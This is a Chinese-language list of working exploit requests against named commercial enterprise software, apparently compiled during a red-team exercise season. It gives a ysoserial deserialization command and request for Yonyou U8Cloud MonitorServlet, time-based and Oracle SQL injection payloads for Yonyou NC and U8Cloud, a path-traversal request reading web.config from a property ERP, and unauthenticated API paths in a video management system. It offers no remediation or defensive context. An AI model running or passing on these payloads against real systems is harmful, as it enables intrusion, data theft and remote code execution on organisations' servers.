用友U8Cloud MonitorServlet反序列化漏洞

java -jar ysoserial.jar CommonsCollections6 "ping dnslog.cn" > obj.ser

POST /service/~iufo/nc.bs.framework.mx.monitor.MonitorServlet HTTP/1.1 
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36

payload

用友NC querygoodsgridbycodeSQL注入漏洞

GET /ecp/productonsale/querygoodsgridbycode.json?code=1%27%29+AND+9976%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%2898%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN+%289976%3D9976%29+THEN+1+ELSE+0+END%29+FROM+DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28118%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29--+dpxi HTTP/1.1
Host: 
Accept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1Pragma: no-cache
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cache-Control: no-cache

天问物业ERP系统AreaAvatarDownLoad任意文件读取漏洞

GET /HM/M_Main/InformationManage/AreaAvatarDownLoad.aspx?AreaAvatar=../web.config HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

用友U8
Cloud ActionServlet SQL注入漏洞

GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasQueryConditionFrameAction&method=doCopy&TableSelectedID=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close

livenvr青柿视频管理系统channeltree接口未授权访问

GET /api/v1/device/channeltree?serial=&pcode HTTP/1.1Host: 
GET /#/screen HTTP/1.1Host:

目前未复现成功的漏洞 

北京筑业建设工程资料同步跟踪检查与流转交互云平台密码重置漏洞
同鑫科技 EHR 系统全系列 SQL 注入漏洞
金和 OA C6CreateGroup 接口注入漏洞
奇安信天擎远程代码执行漏洞

网传的这份表格谨慎打开，云沙箱有多项检出

护网新瓜之红队魅力时刻